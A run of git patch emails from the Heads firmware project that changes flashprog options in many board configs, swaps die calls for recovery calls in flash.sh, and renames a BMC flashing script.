@@ -68,7 +68,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index af9fd51f3..c07749052 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -60,7 +60,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Hewlett-Packard Z220 Convertible Minitower" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config index 0971e2304..57dc8cbc2 100644 --- a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config @@ -74,7 +74,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="P8Z77-M PRO" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Set this option to zero out the VSCC table https://github.com/osresearch/heads/pull/1358#discussion_r1153251399 export CONFIG_ZERO_IFD_VSCC=y diff --git a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config index f453b3b9e..a766d2f98 100644 --- a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config +++ b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config @@ -33,4 +33,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" diff --git a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config index 8a07ab852..a1a88c51e 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config index 02ddd011f..ec87605ab 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config @@ -28,7 +28,7 @@ CONFIG_LINUX_USB=y export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init export CONFIG_BOARD_NAME="ThinkPad T430-legacy-flash" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" CONFIG_LEGACY_FLASH=y diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config index 5daea5d99..45dbb1145 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config @@ -56,7 +56,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config index 37ef74045..eddf2f102 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config index 127fbb2c3..baf9e076b 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config @@ -61,7 +61,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config index 86f7a6b54..55967765a 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config index 86a986b99..64da9a8a5 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config index d3b8fc345..1b1a28e28 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config index 17e6670c0..dba595406 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config index fb90d6bed..702258260 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config index 299af9a72..feb1532b6 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config index fad34900b..602b06137 100644 --- a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config +++ b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config @@ -56,4 +56,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" From 9fcba64ffe136f3e6da0583796803660276858af Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 1 Sep 2024 18:44:52 -0400 Subject: [PATCH 272/619] flash.sh: replace die calls by recovery calls where relevant otherwise returning to caller without being useful Signed-off-by: Thierry Laurion --- initrd/bin/flash.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/initrd/bin/flash.sh b/initrd/bin/flash.sh index b3e1d6642..7c5a853d0 100755 --- a/initrd/bin/flash.sh +++ b/initrd/bin/flash.sh @@ -26,13 +26,13 @@ flash_rom() { ROM=$1 if [ "$READ" -eq 1 ]; then $CONFIG_FLASH_OPTIONS -r "${ROM}" \ - || die "Backup to $ROM failed" + || recovery "Backup to $ROM failed" else cp "$ROM" /tmp/${CONFIG_BOARD}.rom sha256sum /tmp/${CONFIG_BOARD}.rom if [ "$CLEAN" -eq 0 ]; then preserve_rom /tmp/${CONFIG_BOARD}.rom \ - || die "$ROM: Config preservation failed" + || recovery "$ROM: Config preservation failed" fi # persist serial number from CBFS if cbfs.sh -r serial_number > /tmp/serial 2>/dev/null; then @@ -86,7 +86,7 @@ if [ "$READ" -eq 0 ] && [ "${ROM##*.}" = tgz ]; then echo "Reading current flash and building an update image" $CONFIG_FLASH_OPTIONS -r /tmp/flash.sh.bak \ - || die "Read of flash has failed" + || recovery "Read of flash has failed" # ROM and bootblock already have ECC bootblock=$(echo /tmp/verified_rom/*.bootblock) From 66b6b521065bc5cc021860ddf4c89ac8caceda38 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 7 Sep 2024 19:12:35 -0400 Subject: [PATCH 273/619] xx20 boards: reintroduce hwseq for flashprog Signed-off-by: Thierry Laurion --- boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config | 2 +- .../UNMAINTAINED_t520-hotp-maximized.config | 2 +- .../UNMAINTAINED_t520-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 89259f921..73fe565c9 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 8332c8a78..2c1269d1f 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 572524b2c..9cb1f3eb5 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 81a36fcfb..28b155b09 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS += xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config index a766d2f98..e1e315ffe 100644 --- a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config +++ b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config @@ -33,4 +33,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq --ifd --image bios" diff --git a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config index eddf2f102..42260781a 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config index baf9e076b..435f37583 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config @@ -61,7 +61,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config index 602b06137..c94ee5921 100644 --- a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config +++ b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config @@ -56,4 +56,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq --ifd --image bios" From a36aa2562d8a2da32440a0d82a51ba28fac4cb35 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 8 Sep 2024 09:51:33 -0400 Subject: [PATCH 274/619] kgpe-d16 server: TODO AST1100 patch still missing @i-c-o-n https://github.com/linuxboot/heads/blob/master/patches/flashrom-b1f858f65b2abd276542650d8cb9e382da258967/0100-enable-kgpe-d16.patch This is not a blocker, but it used to be possible to flash BMC chip from Heads. PAtch is missing to flashprog Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server.config | 2 ++ ...ashrom-kgpe-d16-openbmc.sh => flashprog-kgpe-d16-openbmc.sh} | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) rename initrd/bin/{flashrom-kgpe-d16-openbmc.sh => flashprog-kgpe-d16-openbmc.sh} (71%) diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index 47cefb888..77100ad31 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -24,6 +24,8 @@ CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server.config CONFIG_CRYPTSETUP=y CONFIG_FLASHPROG=y +#flashprog to support internal flashing of BMC +CONFIG_FLASHPROG_AST1100=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y diff --git a/initrd/bin/flashrom-kgpe-d16-openbmc.sh b/initrd/bin/flashprog-kgpe-d16-openbmc.sh similarity index 71% rename from initrd/bin/flashrom-kgpe-d16-openbmc.sh rename to initrd/bin/flashprog-kgpe-d16-openbmc.sh index 63e83d468..adf356d86 100755 --- a/initrd/bin/flashrom-kgpe-d16-openbmc.sh +++ b/initrd/bin/flashprog-kgpe-d16-openbmc.sh @@ -11,7 +11,7 @@ fi cp "$ROM" /tmp/kgpe-d16-openbmc.rom sha256sum /tmp/kgpe-d16-openbmc.rom -flashrom --programmer="ast1100:spibus=2,cpu=reset" -c "S25FL128P......0" -w /tmp/kgpe-d16-openbmc.rom \ +flashprog --programmer="ast1100:spibus=2,cpu=reset" -c "S25FL128P......0" -w /tmp/kgpe-d16-openbmc.rom \ || die "$ROM: Flash failed" warn "Reboot and hopefully it works" From ebdfad3655e481a7e3c149f144968995b05a1b72 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 9 Sep 2024 10:58:39 -0400 Subject: [PATCH 275/619] boards CONFIG_FLASH_OPTIONS: 'flashprog memory' -> 'flashprog' since flashprog aims to be compatible with flashrom Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 2 +- .../UNMAINTAINED_kgpe-d16_server.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation.config | 2 +- boards/librem_11/librem_11.config | 2 +- boards/librem_13v2/librem_13v2.config | 2 +- boards/librem_13v4/librem_13v4.config | 2 +- boards/librem_14/librem_14.config | 2 +- boards/librem_15v3/librem_15v3.config | 2 +- boards/librem_15v4/librem_15v4.config | 2 +- boards/librem_l1um/librem_l1um.config | 2 +- boards/librem_l1um_v2/librem_l1um_v2.config | 2 +- boards/librem_mini/librem_mini.config | 2 +- boards/librem_mini_v2/librem_mini_v2.config | 2 +- boards/nitropad-ns50/nitropad-ns50.config | 2 +- boards/nitropad-nv41/nitropad-nv41.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2.config | 2 +- .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm1.config | 2 +- .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm2.config | 2 +- boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- boards/t430-hotp-maximized/t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- boards/t440p-maximized/t440p-maximized.config | 2 +- boards/t530-hotp-maximized/t530-hotp-maximized.config | 2 +- boards/t530-maximized/t530-maximized.config | 2 +- boards/talos-2/talos-2.config | 2 +- boards/w530-hotp-maximized/w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- boards/w541-maximized/w541-maximized.config | 2 +- boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- boards/x230-hotp-legacy/x230-hotp-legacy.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- 